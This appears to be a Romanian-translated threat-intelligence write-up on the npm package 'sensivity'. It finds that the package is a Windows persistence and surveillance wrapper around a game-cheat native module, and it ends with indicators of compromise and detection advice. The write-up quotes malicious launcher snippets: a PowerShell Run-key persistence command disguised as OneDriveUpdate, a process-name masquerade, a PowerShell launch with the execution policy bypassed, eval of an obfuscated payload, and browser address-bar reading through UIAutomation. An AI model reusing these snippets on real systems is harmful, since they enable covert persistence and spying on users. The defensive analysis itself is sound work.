TL; DR
Pachetul npm sensibilitate se descrie ca un „Panou de control al sensibilității”. Pe Windows se comportă ca un instrument de control de la distanță și supraveghere.
Punctul său de intrare, launcher.js, își redenumește propriul proces în Runtime Broker, scrie o valoare Run-key de pornire automată numită OneDriveUpdate care relansează pachetul printr-un VBScript ascuns, generează PowerShell cu -ExecutionPolicy Bypassși apoi evaluează o sarcină utilă de server ofuscată de 171 KB alături de un modul nativ de 6.87 MB, sens.node.
Acesta servește un panou de control pentru asocierea telefoanelor pe portul TCP 3000 și citește adresa URL din bara de adrese a browserului activ prin intermediul Windows UIAutomation, urmărind un videoclip YouTube codificat hard.
Două părți care anterior erau lăsate ca niște cutii negre sunt acum rezolvate. Serverul ofuscat, server.obf.js, folosește o schemă obfuscator.io RC4 de tip matrice de șiruri; reimplementarea decodorului său offline (fără executarea JavaScript) recuperează un singur punct final extern — https://izopi.com/check.php — împreună cu o cheie publică RSA încorporată, utilizată pentru a verifica răspunsurile semnate la licență.
Modulul nativ, sens.node, nu este împachetat: tabelul său de import și șirurile încorporate îl identifică ca o suprapunere DirectX 11 / Dear ImGui în joc care oferă funcții aimbot, ESP (wall-hack) și triggerbot, gestionate prin injecție de procese la distanță și citiri/scrieri în memorie.
Șirurile din interiorul său fac referire la entități de vehicule și locații de pe hartă în concordanță cu GTA V / FiveM. Pachetul npm este wrapper-ul de livrare și persistență din jurul acelui modul nativ.
Semnalul definitoriu este operațional, nu tehnic: un singur editor anonim a publicat aproximativ șaptezeci de versiuni ale unui pachet — 2.5.0 prin 2.5.69 — pe parcursul a câteva zile, fiecare purtând același lansator.
Nu există instalări hooksSarcina utilă rulează doar atunci când pachetul este pornit.
Atacul: Cum funcționează
sensitivity livrează zece fișiere. Fișierul package.json este dispers: nu există câmp pentru repository, nu există licență, un alias main și două aliasuri bin (sensitivity, sens), toate indicând către launcher.js, și un script de pornire al nodului launcher.js. Nu există postinstalare sau preinstalare. Nimic nu se declanșează la instalarea npm. Comportamentul descris mai jos rulează atunci când un utilizator pornește pachetul - prin intermediul shim-ului bin, al scriptului de pornire sau al unui require.
Fișierul tarball conține launcher-ul, un server ofuscat, modulul nativ, un script Visual Basic și un director public/web pentru panoul de control. launcher.js este orchestratorul lizibil; logica care contează la momentul execuției se află în cele două blocuri pe care le încarcă - un server ofuscat și un modul nativ compilat, ambele rezolvate mai jos.
Mascaradă de proces și un program de actualizare OneDrive fals
La începutul execuției, launcher.js își setează propriul nume de proces de două ori:
javascript process.title = 'Runtime Broker'; Runtime Broker este un proces Windows legitim (RuntimeBroker.exe) care mediază permisiunile aplicațiilor. Redenumirea unui proces Node pentru a se potrivi cu acesta înseamnă că o privire rapidă în Task Manager nu arată nimic neobișnuit.
Persistența este scrisă prin PowerShell, nu printr-o API directă de registry:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Valoarea de pornire automată se numește OneDriveUpdate și nu indică direct pachetul. Indică wscript.exe care rulează fișierul OneDrive.Standalone.Updater.vbs inclus în pachet. Scriptul respectiv relansează nodul launcher.js într-o fereastră ascunsă. Atât numele cheii de execuție, cât și numele fișierului VBScript împrumută brandingul Microsoft, astfel încât intrarea de pornire automată se citește ca o sarcină OneDrive de rutină.
PowerShell cu ocolire a politicii de execuție
Lansatorul trimite în mod repetat mesaje către PowerShell. Sink-ul pe care scanerele îl marchează ca fiind critic este lansarea unui fișier .ps1 generat cu politica de execuție dezactivată:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Ocolirea ExecutionPolicy elimină verificarea locală a semnării scripturilor pentru acea invocare. Scripturile generate gestionează supravegherea browserului și detectarea ferestrelor descrise în secțiunea următoare.
Serverul ofuscat și modulul nativ
După configurare, launcher.js încarcă și execută sarcina sa utilă reală:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js are 171 KB de ofuscare _0x-array — modelul JavaScript în care fiecare șir și identificator este înlocuit de un index într-un array amestecat, apoi dereferențiat la momentul execuției. Schema este varianta RC4 produsă de obfuscator.io: o singură funcție de decodor decodează în base64 o intrare în array și apoi o decriptează în RC4 cu o cheie per apel. Reimplementarea acelui decodor într-un script separat — rulând doar reimplementarea peste array-ul de șiruri cu 821 de intrări extras, niciodată propriul JavaScript al pachetului — îl derulează curat. Ceea ce apare este modest, dar decisive: o adresă URL externă, https://izopi.com/check.php`, atribuită unei constante LICENSE_URL; o cheie RSA PUBLIC_KEY_PEM` încorporată; panoul local rutează /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off și /trigger/status; și șirurile child_process, crypto și [Sensivity] sens.node încărcate — ultima fiind linia exactă de jurnal pe care lansatorul o rescrie în modulul de program încărcat. Punctul final este o verificare a licenței: clientul postează un identificator (serverul ofuscat formatează un șir Discord ID: %s), iar cheia RSA verifică răspunsul semnat al serverului.
sens.node este un addon nativ compilat de 6.87 MB și nu este compactat — entropia secțiunii se află la versiunile 5.6–6.6, iar tabelele de import și export PE sunt intacte, deci capabilitățile sale pot fi citite direct. Exportă napi_register_module_v1, standard Punct de intrare N-API pentru nod, deci serverul evaluat îl încarcă cu o comandă simplă. Tabelul său de import este tell-ul. Din KERNEL32 extrage OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules și Process32First/NextW - setul canonic pentru localizarea unui alt proces, alocarea memoriei în interiorul acestuia și citirea sau scrierea acelei memorii. Din USER32 extrage GetAsyncKeyState, GetKeyState, mouse_event și SetCursorPos; leagă d3d11.dll, D3DCOMPILER_43 și dwmapi pentru o suprapunere pe ecran și setul complet WINHTTP pentru apelurile de rețea. Șirurile sale încorporate denumesc setul de funcții fără ambiguitate: Activare Aimbot, FOV Aimbot, ESP Box, ESP Skeleton, Triggerbot, ESP Builder, ESP Vehicle, Electron Anticheat detected și bannerul Dear ImGui Dear ImGui 1.91.3 WIP. Șirurile de locații și entități, cum ar fi Clinica Medicală Grapeseed și vocabularul ESP pentru vehicule, sunt consistente cu GTA V / FiveM.
Separarea este, în esență, deliberată: fișierul launcher.js, care poate fi citit, conține doar părțile pe care un scaner le citește cu ușurință - persistența, mascarada, apelul eval în sine - în timp ce ofuscarea ascunde singura gazdă externă, contactele de execuție, iar fișierul binar conține logica de suprapunere a jocului și de injectare a proceselor. Lansatorul este shell-ul subțire, auditabil; serverul ofuscat ascunde identitatea rețelei; modulul nativ este sarcina utilă. Descriem importurile și șirurile fișierului binar ca fiind citite; nu deducem scopul operatorului din acestea.
Un panou de control pentru asocierea telefonului pe portul 3000
Lansatorul gestionează un server web local pe portul TCP 3000 și îl tratează ca pe un singleton. Interoghează un listener existent și îl șterge înainte de a se lega:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panoul este accesibil la http://localhost:3000, cu o adresă URL de rezervă LAN hard-coded de http://192.168.1.16:3000. Directorul public/ și comportamentul panoului sunt consistente cu un flux de asociere QR: un telefon scanează un cod și se leagă de gazdă ca o conexiune de la distanță. Niciun domeniu extern de comandă și control nu apare în text clar în lansator - dar, așa cum arată deobfuscarea de mai sus, unul este prezent în serverul ofuscat: endpoint-ul licenței izopi.com. Panoul în sine este local și are domeniul LAN; singura gazdă de ieșire este acea verificare a licenței.
Un model detașat de supervizor/lucrător menține procesul activ. Lansatorul se reapare cu semnalizatoarele de mediu SENSIVITY_SUPERVISOR și SENSIVITY_WORKER, fiecare copil rulând ascuns, astfel încât închiderea unui proces lasă un watchdog să îl repornească.
Supravegherea browserului și semnalul YouTube
Cel mai specific comportament este monitorizarea browserului. launcher.js construiește PowerShell care determină Windows UIAutomation să citească bara de adrese a unui browser care rulează:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern returnează conținutul text al unui element UI. Aplicat controlului de editare din bara de adrese a unui browser, acesta returnează adresa URL pe care victima o vizualizează în prezent — fără o extensie de browser, fără a atinge profilul de pe disc și fără un hook API. Scriptul generat iterează o listă $browserNames și extrage adresa URL sau titlul ferestrei browserului aflat în prim-plan.
URL-ul respectiv este testat în raport cu o singură țintă codificată:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Lansatorul efectuează o buclă de trei secunde pentru a căuta o fereastră de browser care afișează YouTube, iar PowerShell-ul generat conține o pereche Get-YouTubeBrowser / Test-TargetYouTubeUrl care se potrivește cu ID-ul videoclipului respectiv. Efectul observabil este dublu: adresa URL de navigare activă este citită de pe ecranul victimei și este detectată interacțiunea gazdei cu un anumit videoclip YouTube. Descriem mecanismul și ținta; nu deducem un motiv din acestea.
Citirea din bara de adrese este ceea ce scanerul etichetează sensitive_data_enumeration — o sursă Process::env și UIAutomation care alimentează un runtime compatibil cu rețeaua. Apare benign în mod izolat și se rezolvă în supraveghere doar după ce ciclul de viață al datelor este urmărit de la sursa UIAutomation la serverul ofuscat.
Cronologie și evoluția versiunilor
Sensibilitatea nu este o încărcare unică. Contul editorului are aproximativ șaptezeci de versiuni publicate ale acestui singur pachet, iar altele noi au continuat să apară în timpul perioadei de revizuire. Lansatorul se dezvoltă caracteristică cu caracteristică pe linia 2.5.x, în timp ce persistența și încărcarea sarcinii utile rămân fixe.
| Data (UTC) | Versiuni observate | Starea lansatorului |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lansator de bază pentru panouri QR; Persistență tastă de execuție; evaluare server ofuscat. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Aceeași amprentă; suprimarea urmelor din consolă. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Adaugă un obiectiv de interacțiune fixat pe YouTube wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Republicare pentru completarea lacunelor în întreaga gamă; organism de supraveghere a supraveghetorilor/lucrătorilor. |
Citirea programului de lansare în versiunile reprezentative descărcate — 2.5.0, 2.5.36 și 2.5.69 — arată patru niveluri. Cele mai vechi versiuni includ programul de lansare de bază pentru asocierea codurilor QR. Din versiunea 2.5.33 apare instrumentul de recoltare a barei de adrese UIAutomation. Din versiunea 2.5.58 este adăugat un strat de gestionare a supervizorilor. Din versiunea 2.5.64, sistemul de supraveghere detașat al supervizorilor/lucrătorilor completează setul. Pe tot parcursul, patru lucruri nu se schimbă niciodată: cheia OneDriveUpdate Run, dropper-ul OneDrive.Standalone.Updater.vbs, server.obf.js evaluat și modulul nativ sens.node.
Valul din 2026-06-05 este notabil deoarece a republicat numerele de versiune mici - 2.5.0 până la 2.5.15 - care se află sub versiunile confirmate cu câteva zile înainte. Efectul este o linie contiguă 2.5.x în registru, fiecare versiune având același lansator.
Indicatori de compromis
Toți indicatorii de mai jos au fost citiți direct din fișierul tarball al pachetului. Lansatorul lizibil are doar loopback și o singură adresă LAN privată; singurul nume de gazdă extern, izopi.com, a fost recuperat prin deobfuscarea server.obf.js offline.
| Tip | Indicator | notițe |
|---|---|---|
| Pachet | npm:sensivity (≈70 de versiuni, 2.5.0-2.5.69) | Editor cu un singur pachet; fără repozitoriu; fără licență. |
| Fișier | launcher.js | Orchestrator lizibil; țintă principală și bin. |
| Fișier | server.obf.js (≈171 KB) | Sarcina utilă obfuscator.io pentru matricea de șiruri RC4, încărcată prin eval(fs.readFileSync(...)). |
| Fișier | sens.node (≈6.87 MB) | Addon N-API pentru nodul PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Fișier | OneDrive.Standalone.Updater.vbs | Relansator ascuns (node launcher.js). |
| Reţea | https://izopi.com/check.php | Punct final de licență/autentificare recuperat de pe serverul ofuscat; cheia publică RSA încorporată verifică răspunsurile. |
| Capacitate | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Injecție în procese la distanță și capacitate de citire/scriere în memorie. |
| Capacitate | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Suprapunere de joc DirectX 11 / ImGui care implementează funcțiile aimbot, ESP și triggerbot. |
| Registru | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valoarea de pornire automată indică wscript.exe și lansatorul VBScript. |
| Etape | process.title = 'Runtime Broker' | Se deghizează în procesul legitim Windows Runtime Broker. |
| Comportamental | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ocolirea politicii de execuție utilizată pentru scripturile PowerShell generate. |
| Comportamental | UIAutomation ValuePattern citirea barei de adrese a browserului | Citește adresa URL a ferestrei browserului din prim-plan. |
| Comportamental | ID-ul videoclipului țintă wJWta2lO0LwSondaj YouTube de 3 secunde | Semnal de monitorizare a angajării fixat. |
| Reţea | http://localhost:3000, da înapoi http://192.168.1.16:3000 | Panou de control pentru asocierea codurilor QR expus local și în LAN. |
| Mediu inconjurator | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Indicatori de coordonare a procesului de supraveghere detașat. |
Atribuire, Impact și Apărători
Pachetul este publicat de un singur cont npm a cărui adresă de e-mail declarată este o adresă Gmail neverificată. Contul are un scor de reputație în registry extrem de negativ, menține și publică doar acest pachet și nu are un depozit sursă conectat. Nu am verificat proprietatea e-mailului și atribuim campania contului de editor, nu vreunei persoane numite. Lansatorul nu are o infrastructură de text în clar, dar singura gazdă externă este acum cunoscută: serverul ofuscat contactează izopi.com pentru o verificare a licenței, iar modulul nativ - citit din tabelul și șirurile sale de import, în loc să fie inversat instrucțiune cu instrucțiune - este o suprapunere de joc care injectează și citește memoria unui alt proces.
Impactul observabil se manifestă asupra utilizatorilor Windows care instalează și rulează cu sensibilitate, așteptând un utilitar din panoul de control. Pe aceste gazde, pachetul stabilește persistența la pornire automată deghizată într-o sarcină OneDrive, se redenumește pentru a imita un proces de sistem, citește adresa URL a oricărui lucru pe care îl navighează utilizatorul și activează un panou de asociere care leagă mașina de o telecomandă prin rețeaua locală. Funcția de supraveghere a supervizorului/lucrătorul înseamnă că o singură închidere a procesului nu îl elimină; intrarea cu cheia Run supraviețuiește repornirilor. macOS și Linux nu sunt vizate de lansator - căile de persistență, PowerShell și UIAutomation sunt doar pentru Windows.
Tendința de eliminare a versiunilor de șaptezeci de utilizatori este cea care merită semnalată. Republicarea unui pachet de zeci de ori în câteva zile, inclusiv completarea numerelor de versiune sub cele deja eliminate, menține o copie activă în registru între eliminări și împiedică blocarea versiunilor blocate. O intrare în lista de blocaje pentru sensitivity@2.5.61 nu face nimic împotriva republicării sensitivity@2.5.3 a doua zi.
Apărătorii pot acționa în următoarele privințe:
- Blochează complet sensibilitatea numelui pachetului în listele de acces permise ale proxy-ului de registry și CI. Fixarea versiunilor individuale pierde din cauza cadenței de republicare; numele este indicatorul durabil.
- Căutați o valoare de tip Run numită OneDriveUpdate ale cărei date invocă wscript.exe împotriva unui fișier .vbs într-o cale per utilizator. Instrumentul de actualizare OneDrive autentic nu este înregistrat în acest fel.
- Alertă privind un proces Node.js al cărui process.title este Runtime Broker. Brokerul real este RuntimeBroker.exe, nu un runtime Node.
- Semnalează preluările npm în timpul instalării pachetelor care conțin un addon .node compilat plus un eval(fs.readFileSync(…)) al unui fișier .obf.js similar. Această pereche — un binar nativ opac încărcat lângă o utilă de text ofuscată — este indicatorul structural aici, independent de orice IOC de tip șir.
- Tratați orice ascultător legat local pe portul 3000 generat de un proces Node neașteptat ca fiind suspect pe endpoint-urile Windows gestionate.
- Blochează sau alertează cererile trimise către izopi.com de la dezvoltatori sau utilizatori finali; este singurul punct final extern al pachetului, accesibil la /check.php de pe serverul ofuscat.
- Pentru orice addon .node inclus, verificați tabelul său de import înainte de a-i acorda încredere. Combinația OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread este o injecție la distanță a proceselor, indiferent de ceea ce pretinde pachetul că face; aici se află lângă o suprapunere Direct3D și șiruri aimbot/ESP/triggerbot.
Pentru analiză statică pipelineÎn cazul versiunilor, forma convingerii este durabilă pe tot parcursul pierderii de versiuni: un profil de instalare în afara rețelei, o atribuire a titlului de proces unui nume de proces de sistem cunoscut, o scriere cu cheie de execuție prin PowerShell și o evaluare a unui fișier citit de pe disc. Niciuna dintre acestea nu depinde de un domeniu, o adresă IP sau un număr de versiune pe care următoarea republicare îl poate elimina prin rotire.
Referinte
[npm: sensibilitate] – pagină de registry pentru linia de versiune a pachetului discutată aici; poate fi eliminată.





